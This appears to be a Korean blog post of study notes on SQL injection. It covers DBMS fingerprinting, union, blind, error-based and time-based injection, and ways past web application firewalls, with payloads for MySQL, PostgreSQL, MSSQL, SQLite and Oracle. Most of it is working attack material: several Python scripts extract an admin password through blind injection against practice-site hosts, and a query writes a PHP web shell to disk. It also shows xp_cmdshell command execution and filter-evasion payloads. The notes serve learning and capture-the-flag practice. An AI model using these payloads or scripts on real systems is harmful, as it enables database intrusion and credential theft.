-
SQL Injectionweb hacking/all_the_thing 2022. 4. 26. 02:30
DBMS
웹서비스는 DB에 정보를 저장하고, 이를 관리하기 위해 DBMS를 사용한다.
종류 대표적인 DBMS Relational (관계형) MySQL, MariaDB, PostgreSQL, SQLite Non-Relational (비관계형) MongoDB, CouchDB, Redis RDMS는 행과 열의 집합으로 구성된 테이블의 묶음 형식으로 데이터를 관리한다.
DBMS Misconfiguration
계정 및 권한이 적절하게 분리되지 않았거나 부릴요한 기능의 활성화, 그리고 DB의 보안 설정이 미흡한 경우
주의사항
- 서버에서 DBMS를 작동할 때는 DBMS 전용 계정을 만들어 사용해야 한다. (루트 계정이나 www-data 등의 계정으로 X)
- 대소문자를 구분하지 않는 DBMS도 있으니 이를 확인해보자
MySQL
파일 관련된 작업을 할 때에는 mysql 권한으로 수행되며, "my.cnf" 설정 파일의 secure_file_priv 값에 영향을 받는다.
select @@secure_file_priv; # 권한 확인
load_file 함수는 전달된 파일을 읽고 출력한다 (절대 경로 입력)
select load_file('/var/lib/mysql-files/test');
SELECT ... INTO 형식의 쿼리는 쿼리 결과를 변수나 파일에 쓸 수 있다.
select '<?=`ls`?>' into outfile '/tmp/a.php';
MSSQL
xp_cmdshell 기능을 이용해 OS 명령어를 실행할 수 잇다. (SQL Server 2005 버전 이후부터는 거의 불가)
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell' # xp_cmdshell 활성화 여부
EXEC xp_cmdshell "net user"; EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
DBMS Fingerprinting
SQL Injection 취약점을 발견하면 먼저 DBMS의 종류와 버전을 알아내야 한다.
더보기- 쿼리 실행 결과 출력
- 에러 메시지 출력
- 참 또는 거짓 출력
- 시간 지연 발생
MySQL
쿼리 실행 결과 출력
select @@version; select version(); /* 5.7.29-0ubuntu0.16.04.1 */
에러 메시지 출력 : 아래의 예시에서 1222 에러코드는 MySQL 에서 명시한 코드이다.
select 1 union select 1, 2; /* ERROR 1222 (21000): The used SELECT statements have a different number of columns */
참 또는 거짓 출력
# @@version => '5.7.29-0ubuntu0.16.04.', mid(@@version, 1, 1) => '5' select mid(@@version, 1, 1)='5'; /* 1 */
시간 지연 발생
select mid(@@version, 1, 1)='5' and sleep(2); /* 0 (sleep 실행) */
PostgreSQL
쿼리 실행 결과 출력
select version(); /* PostgreSQL 12.2 (Debian 12.2-2.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit */
에러 메시지 출력
select 1 union select 1, 2; /* ERROR: each UNION query must have the same number of columns */
참 또는 거짓 출력
# version() => 'PostgreSQL ...', substr(version(), 1, 1) => 'P' select substr(version(), 1, 1)='P'; /* t */ select substr(version(), 1, 1)='Q'; /* f */
시간 지연 발생
select substr(version(), 1, 1)='P' and pg_sleep(10); /* 시간지연 */
MSSQL
쿼리 실행 결과 출력
select @@version; /* Microsoft SQL Server 2017 (RTM-CU13) (KB4466404) - 14.0.3048.4 (X64) Nov 30 2018 12:57:58 Copyright (C) 2017 Microsoft Corporation Developer Edition (64-bit) on Linux (Ubuntu 16.04.5 LTS) */
에러 메시지 출력
select 1 union select 1, 2;select 1 union select 1, 2; /* Msg 205, Level 16, State 1, Server e2cb36ec2593, Line 1 All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.asdf */
참 또는 거짓 출력
# @@version => 'Microsoft SQL Server...', substring(@@version, 1, 1) => 'M' select 1 from test where substring(@@version, 1, 1)='M'; /* 1 */
시간 지연 발생
select 1 where substring(@@version, 1, 1)='M' and waitfor delay '0:0:5';
SQLite
쿼리 실행 결과 출력
select sqlite_version(); /* 3.11.0 */
에러 메시지 출력
select 1 union select 1, 2; /* Error: SELECTs to the left and right of UNION do not have the same number of result columns */
참 또는 거짓 출력
# sqlite_version() => '3.11.0', substr(sqlite_version(), 1, 1) => '3' select substr(sqlite_version(), 1, 1)='3'; /* 1 */ select substr(sqlite_version(), 1, 1)='4'; /* 0 */
시간 지연 발생
select case when substr(sqlite_version(), 1, 1)='3' then LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2)))) else 1=1 end;
System Table Fingerprinting
SQL
SQL : RDBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안된 언어이다. (웹이 DBMS와 상화작용할 때 사용)
언어 설명 DDL 데이터를 정의하기 위한 언어. 스키마, DB의 생성/수정/삭제 등을 수행한다 DML 데이터를 조작하기 위한 언어. 실제 DB 내에 존재하는 데이터의 조회/저장/수정/삭제 등을 수행한다 DCL DB의 접근 궎나 등을 설정하기 위한 언어. GRANT (이용자 권한 부여), REVOKE(이용자 권한 박탈) DDL
데이터베이스 생성
CREATE DATABASE Gotroot;
테이블 생성
USE Gotroot; CREATE TABLE Member( idx INT AUTO_INCREMENT, name VARCHAR(10) NOT NULL. age INT NOT NULL, PRIMARY Key(idx) );
DML
테이블 데이터 생성
INSERT INTO Member(name, age) Values('Amy', 26);
INSERT INTO boards (title, boardcontent) VALUES ('title 1', (select upw from users where uid='admin'));
-> 서브쿼리를 통해 다른 테이블에 있는 데이터를 추가할 수도 있다.
테이블 데이터 조회
SELECT name, age FROM Member Where idx=1;
ORDER BY 조회한 결과를 원하는 컬럼 기준으로 정렬 LIMIT 조회환 결과에서 행의 갯수와 오프셋 지정 like 해당 문자가 포함되어 있는지 찾는다 (%abc% "abc문자가 포함되어 있는지) / DESC 오름차순 / 내림차순 테이블 데이터 변경
UPDATE Member SET age=23 WHERE idx=1;
테이블 데이터 삭제
DELETE FROM members where name='amy';
SQL Injection
SQL Injection : 이용자가 SQL 구문에 임의 문자열을 삽입하는 행위 -> 인증을 우회하거나 DB의 정보를 유출할 수 있다.
Form SQL Injection
' or 1=1--
UNION SQL Injection
과정
① ' 등을 넣어 서버 내부의 query문에 입력값이 영향을 주는 지 확인한다
② column 수 알아내기 (ex. ' order by 4-- )
③ data type이 string인 column 찾기 (ex. ' union select null, 'a', null-- )
④ 원하는 데이터 추출 (ex. ' union select username, password from users whrer useanme='admin'-- )
주의할점
- Oracle DB는 table을 지정하지 않으면 select문을 쓸 수 없다.
Blind SQL Injection
Blind SQL Injection : 질의 결과를 이용자가 직접 확인하지 못한다면 참/거짓 반환 결과로 데이터를 획득하는 공격 기법
더보기ascii : 전달된 문자를 아스키 형태로 반환하는 함수 (32~126 : 알파벳, 숫자, 특수문자)
substr : 문자열에서 지정한 위치부터 길이까지의 값을 가져오는 함수
첫번째 글자 구하기
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw='';
두번째 글자 구하기
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=114-- ' and upw=''; SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw='';
정규 표현식 사용
정규표현식 regexp 구문을 사용하여 문자열을 찾을 수 있다.
uid=admin" and upw regexp 'p.*' -- uid=admin" and upw regexp 'pw.*' -- ... uid=admin" and upw regexp 'pw1337' --
GET method 공격 스크립트 예제
#!/usr/bin/python3 import requests import string url = 'http://example.com/login' # example URL params = { 'uid': '', 'upw': '' } tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ query = ''' admin' and ascii(substr(upw,{idx},1))={val}-- ''' password = '' for idx in range(0, 20): for ch in tc: params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n") c = requests.get(url, params=params) print(c.request.url) if c.text.find("Login success") != -1: password += chr(ch) break print(f"Password is {password}")
POST method 공격 스크립트 예제
import requests url = "http://host1.dreamhack.games:17769/login" length=0 while 1: password = '" or (select length(userpassword) where userid="admin")='+str(length)+'-- ' data = {'userid': 'guest', 'userpassword': password} res = requests.post(url, data=data) if "wrong" in res.text: length+=1 else: print("password length = "+str(length)) break pw="" for i in range(1, length+1): for j in range(0x20, 0x7F): query = f'"or ((select substr(userpassword, {i}, 1) from users where userid="admin") = "{chr(j)}") --' data = {'userid': 'guest', 'userpassword': query} res = requests.post(url, data=data) if res.text.find('hello') != -1: pw+=chr(j) break print("password = "+pw)
Binary Search 스크립트 예제
#!/usr/bin/python3.7 import requests import sys from urllib.parse import urljoin class Solver: """Solver for simple_SQLi challenge""" # initialization def __init__(self, port: str) -> None: self._chall_url = f"http://host3.dreamhack.games:{port}" self._login_url = urljoin(self._chall_url, "login") # base HTTP methods def _login(self, userid: str, userpassword: str) -> requests.Response: login_data = { "userid": userid, "userpassword": userpassword } resp = requests.post(self._login_url, data=login_data) return resp # base sqli methods def _sqli(self, query: str) -> requests.Response: resp = self._login(f"\" or {query}-- ", "hi") return resp def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int: while 1: mid = (low+high) // 2 if low+1 >= high: break query = query_tmpl.format(val=mid) if "hello" in self._sqli(query).text: high = mid else: low = mid return mid # attack methods def _find_password_length(self, user: str, max_pw_len: int = 100) -> int: query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\") < {{val}})" pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len) return pw_len def _find_password(self, user: str, pw_len: int) -> str: pw = '' for idx in range(1, pw_len+1): query_tmpl = f"((SELECT SUBSTR(userpassword,{idx},1) WHERE userid=\"{user}\") < CHAR({{val}}))" pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2f, 0x7e)) print(f"{idx}. {pw}") return pw def solve(self) -> None: # Find the length of admin password pw_len = solver._find_password_length("admin") print(f"Length of the admin password is: {pw_len}") # Find the admin password print("Finding password:") pw = solver._find_password("admin", pw_len) print(f"Password of the admin is: {pw}") if __name__ == "__main__": port = sys.argv[1] solver = Solver(port) solver.solve()
Bit 연산 스크립트 예제
from requests import get url = "http://host1.dreamhack.games:14457/" password_length = 0 while True: password_length += 1 query = f"admin' and char_length(upw) = {password_length}-- -" r = get(f"{url}/?uid={query}") if "exists" in r.text: break print(f"password length: {password_length}") for i in range(1, password_length + 1): bit_length = 0 while True: bit_length += 1 query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -" r = get(f"{host}/?uid={query}") if "exists" in r.text: break print(f"character {i}'s bit length: {bit_length}") bits = "" for j in range(1, bit_length + 1): query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -" r = get(f"{host}/?uid={query}") if "exists" in r.text: bits += "1" else: bits += "0" print(f"character {i}'s bits: {bits}") password = "" for i in range(1, password_length + 1): ... password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
Error based SQL Injection
Error based SQL Injection : 임의로 에러를 발생시켜 데이터베이스 및 운영 체제의 정보를 획득하는 공격
- DBMS에서 쿼리가 실행되기 전에 발생하는 에러가 아닌 런타임 에러가 필요하다!
더보기extractvalue : 첫번째 인자로 전달된 XML 데이터에서 두번째 인자인 XPATH 식을 통해 데이터를 추출하는 함수
-> 두번째 인자가 올바르지 않은 XPATH 식이라면 에러메시지와 함께 그 결과를 반환한다.
SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin'))); /* ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd' */
MYSQL
SELECT updatexml(null,concat(0x0a,version()),null); SELECT extractvalue(1,concat(0x3a,version())); /* ERROR 1105 (HY000): XPATH syntax error: '5.7.29-0ubuntu0.16.04.1-log' */
SELECT COUNT(*), CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x; /* ERROR 1062 (23000): Duplicate entry '5.7.29-0ubuntu0.16.04.1-log:1' for key '<group_key>' */
MSSQL
SELECT convert(int,@@version); SELECT cast((SELECT @@version) as int); /* Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2014 - 12.0.2000.8 (Intel X86) Feb 20 2014 19:20:46 Copyright (c) Microsoft Corporation Express Edition on Windows NT 6.3 <X64> (Build 9600: ) (WOW64) (Hypervisor) ' to data type int. */
Oracle
SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual; /* ORA-20000: Oracle Text error: DRG-11701: thesaurus Oracle Database 18c Express Edition Release 18.0.0.0.0 - Production does not exist ORA-06512: at "CTXSYS.DRUE", line 183 ORA-06512: at "CTXSYS.DRITHSX", line 555 ORA-06512: at line 1 */
Error based Blind SQL Injection
'+||+(SELECT+CASE+WHEN+(1=1)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')--+
-> case when 뒤의 조건식이 참이라면 to_char(1/0)을 실행하여 에러가 나고, 거짓이라면 에러가 나지 않는다.
Time based SQL Injection
Time based SQL Injection : 시간 지연을 이용해 쿼리의 참/거짓 여부를 판단하는 공격 기법
MySQL
SELECT SLEEP(1); SELECT BENCHMARK(40000000,SHA1(1)); SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;
MSSQL
SELECT '' if((select 'abc')='abc') waitfor delay '0:0:1'; select (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C, information_schema.columns D, information_schema.columns E, information_schema.columns F)
SQLite
SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1500000000/2))));
Bypass WAF
탐지 우회
대소문자 검사 미흡
UniOn SeLecT 1,2,3;
탐지 과정 미흡
"union" 이라는 문자열을 탐지하고 공백으로 치환할경우
UNunionION SELselectECT 1,2 --
문자열 검사 미흡
reverse와 concat 함수를 이용해 문자열을 뒤집거나 이어붙이며 16진수를 사용해 임의의 문자열을 완성한다.
SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e;
연산자 검사 미흡
"and", "or"과 같은 연산자를 "&&", "||"로 우회할 수 있다. 이 외에도 ^, =, !=, %, /, *, &, &&, |, ||, >, <, XOR, DIV, LIKE, RLIKE, REGEXP, IS, IN, NOT, MATCH, AND, OR, BETWEEN, ISNULL 등의 연산자를 사용할 수 있다.
공백 탐지
이름, 생년월일과 같은 항목은 공백이 필요하지 않기때문에, 공백을 허용하지 않는 경우가 많다.
SELECT/**/'abc'; # 주석을 이용한 우회 select`username`,(password)from`users`WHERE`username`='admin'; # Back Quote를 이용한 우회
아니면 URL Encoding(%09) 값 or 괄호 사용하기
MySQL 우회 기법
MySQL 진법 or 함수를 이용한 문자열 검사 우회
select 0x6162, 0b110000101100010; select char(0x61, 0x62); select concat(char(0x61), char(0x62)); /* ab */
주석 구문 실행
WAF은 /*___*/ 문자열을 주석으로 인식하고 쿼리 구문으로 해석하지 않는다.
반면에 MySQL은 /*!___*/ 은 쿼리의 일부로 실행한다
select 1 /*!union*/ select 2;
PostgreSQL 우회 기법
PostgreSQL 함수를 이용한 문자열 검사 우회
select chr(65); /* A */ select concat(chr(65), chr(66)); /* AB */
MSSQL 우회 기법
MSSQL 함수를 이용한 문자열 검사 우회
select char(0x61); /* a */ select concat(char(0x61), char(0x62)); /* ab */
SQLite 우회 기법
SQLite 함수를 이용한 문자열 검사 우회
select char(0x61); /* a */ select char(0x61)||char(0x62); /* ab */
구문 검사 우회
SELECT 구문을 사용하지 못하면 원하는 값을 반환하지 못한다. 이 때,UNION VALUES(num)을 이용하자.
select 1 union values(2);
그 외의 주목할 만한 점
row(1,1) 함수를 이용하면 칼럼의 개수를 조절할 수 있다.
참고 : https://www.notion.so/counting-query-0bad32d2efa94ce9b2eb346138b1fe16
'web hacking > all_the_thing' 카테고리의 다른 글
XSS (0) 2022.06.22